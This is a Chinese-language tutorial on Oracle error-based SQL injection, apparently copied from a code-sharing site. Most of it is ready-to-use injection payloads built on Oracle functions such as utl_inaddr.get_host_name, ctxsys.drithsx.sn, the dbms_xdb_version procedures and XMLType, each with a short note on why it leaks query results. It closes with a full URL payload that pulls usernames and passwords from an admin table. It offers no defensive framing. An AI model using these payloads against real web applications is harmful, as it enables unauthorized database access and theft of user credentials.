0X01
使用報(bào)錯(cuò)注入需要使用類似 1=[報(bào)錯(cuò)語(yǔ)句],1>[報(bào)錯(cuò)語(yǔ)句],使用比較運(yùn)算符,這樣的方式進(jìn)行報(bào)錯(cuò)注入(MYSQL僅使用函數(shù)報(bào)錯(cuò)即可),類似mssql報(bào)錯(cuò)注入的方式。
news.jsp?id=1 and 1=1 正確news.jsp?id=1 and 1=2 錯(cuò)誤
存在注入? 隨便輸入 發(fā)現(xiàn)存在報(bào)錯(cuò)信息我們可以嘗試報(bào)錯(cuò)注入
0X02報(bào)錯(cuò)函數(shù)注入
utl_inaddr.get_host_name()進(jìn)行報(bào)錯(cuò)注入
and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1))
utl_inaddr.get_host_address?本意是獲取ip 地址,但是如果傳遞參數(shù)無(wú)法得到解析就會(huì)返回一個(gè)oracle 錯(cuò)誤并顯示傳遞的參數(shù)。
我們傳遞的是一個(gè)sql 語(yǔ)句所以返回的就是語(yǔ)句執(zhí)行的結(jié)果。oracle 在啟動(dòng)之后,把一些系統(tǒng)變量都放置到一些特定的視圖當(dāng)中,可以利用這些視圖獲得想要的東西。通常非常重要的信息有
0x002 ctxsys.drithsx.sn()進(jìn)行報(bào)錯(cuò)注入
?
?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual))
?
?
?
?
?0x03利用 dbms_xdb_version.checkin()
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null
0x04dbms_xdb_version.makeversioned()
and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null
0x05dbms_xdb_version.uncheckout()
and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not nul
0x06dbms_utility.sqlid_to_sqlhash()
and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null
0x06ordsys.ord_dicom.getmappingxpath()
and 1=ordsys.ord_dicom.getmappingxpath((select table_name from user_tables where rownum=1))
0x07decode進(jìn)行報(bào)錯(cuò)注入因?yàn)檫@種方式并不會(huì)通過(guò)報(bào)錯(cuò)把查詢結(jié)果回顯回來(lái),僅是用來(lái)作為頁(yè)面的表現(xiàn)不同的判斷方法。
and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) 匹配到正確的時(shí)候頁(yè)面返回錯(cuò)誤
?id=1 and 1=(select decode(substr(user,1,1),'s',(1/0),0) from dual)
0x08XMLType在使用這個(gè)XMLType進(jìn)行報(bào)錯(cuò)時(shí),很多人不知道為什么要用chr(60),通過(guò)ascii查詢可以看到,60:<,58:’:’,62:’>’,查了下相關(guān)的api,發(fā)現(xiàn)xmltype在進(jìn)行解析的時(shí)候必須以<開(kāi)頭>結(jié)尾,這里:冒號(hào)在這是必不可少的,至于為什么是冒號(hào)這個(gè)我也沒(méi)查到,另外需要注意的是如果返回的數(shù)據(jù)種有空格的話,它會(huì)自動(dòng)截?cái)?,?dǎo)致數(shù)據(jù)不完整,有replace函數(shù)替換成其他非空字符就可以
and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null
?
?0X020x02?報(bào)錯(cuò)函數(shù)注入數(shù)據(jù)
報(bào)錯(cuò)admin表的 用戶和密碼
http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select (select username||password from admin)from dual))--
?
?其他報(bào)錯(cuò)函數(shù)差不多
by 感謝卿哥
?
來(lái)源:http://www.icode9.com/content-2-218051.html聯(lián)系客服